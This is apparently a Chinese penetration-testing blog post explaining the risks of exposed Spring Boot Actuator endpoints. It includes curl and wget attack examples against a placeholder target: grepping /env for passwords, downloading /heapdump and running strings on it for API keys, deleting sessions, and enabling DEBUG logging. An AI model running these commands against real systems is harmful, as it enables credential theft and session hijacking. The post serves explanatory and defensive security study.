/env

/actuator/env (或 /env 旧版本)

  • 路径: /actuator/env

  • 风险: 暴露所有环境变量、配置属性(如数据库密码、API 密钥等)。

  • 攻击场景:

    curl http://target:8080/actuator/env | grep "password"

/configprops

/actuator/configprops (或 /configprops 旧版本)

  • 路径: /actuator/configprops

  • 风险: 显示所有 @ConfigurationProperties 配置项,泄露数据库连接池、加密密钥等。

  • 示例泄露内容:

    "spring.datasource": {
      "password": "root123",
      "url": "jdbc:mysql://localhost:3306/prod_db"
    }

/heapdump

/actuator/heapdump (或 /heapdump 旧版本)

  • 路径: /actuator/heapdump

  • 风险: 生成 JVM 堆内存快照(.hprof 文件),攻击者可从中提取内存中的敏感数据(如明文密码、会话 Token)。

  • 利用工具: Eclipse Memory Analyzer (MAT)、strings 命令。

  • 攻击场景:

    wget http://target:8080/actuator/heapdump
    strings heapdump.hprof | grep "api_key"

/trace

/actuator/httptrace (旧版本为 /trace)

  • 路径: /actuator/httptrace

  • 风险: 记录最近的 HTTP 请求轨迹,泄露请求头中的认证信息(如 Cookie、Authorization)。

  • 示例泄露内容:

    {
      "request": {
        "headers": {
          "Authorization": ["Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."]
        }
      }
    }

/mappings

/actuator/mappings (或 /mappings 旧版本)

  • 路径: /actuator/mappings

  • 风险: 暴露所有 API 路由信息,帮助攻击者发现未授权接口或隐藏功能。

  • 示例泄露内容:

    "/admin/deleteUser": {
      "methods": ["POST"],
      "consumes": ["application/json"]
    }

/dump

/actuator/dump (或 /dump 旧版本)

  • 路径: /actuator/dump

  • 风险: 生成线程转储(Thread Dump),泄露应用运行时状态(如锁竞争、任务队列)。

  • 攻击场景: 分析线程堆栈寻找代码逻辑漏洞。

/actuator/sessions

/actuator/sessions (仅当使用 Spring Session 时)

  • 路径: /actuator/sessions

  • 风险: 管理用户会话,攻击者可劫持或删除活跃会话。

  • 攻击示例:

    # 列出所有会话
    curl http://target:8080/actuator/sessions
    # 删除指定会话
    curl -X DELETE http://target:8080/actuator/sessions/{sessionId}

/actuator/loggers

  • 路径: /actuator/loggers

  • 风险: 动态修改日志级别,攻击者可开启 DEBUG 日志以泄露敏感操作记录。

  • 攻击示例:

    # 开启 DEBUG 日志
    curl -X POST -H "Content-Type: application/json" \
    -d '{"configuredLevel": "DEBUG"}' \
    http://target:8080/actuator/loggers/com.example.service

/actuator/gateway/routes

/actuator/gateway/routes (Spring Cloud Gateway)

  • 路径: /actuator/gateway/routes

  • 风险: 暴露网关路由配置,泄露内部微服务地址和端口。

  • 示例泄露内容:

    [{
      "route_id": "user_service",
      "uri": "http://192.168.1.100:8081"
    }]

/health

/actuator/health or /health (老版本)

  • 路径: /actuator/health

  • 风险: 若配置 management.endpoint.health.show-details=always,会泄露数据库状态、磁盘空间等详情。

  • 危险配置:

    management.endpoint.health.show-details=always

文章作者: QiaoShen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
实景渗透基础 漏洞详解 基础 姿势 渗透 Springboot
喜欢就支持一下吧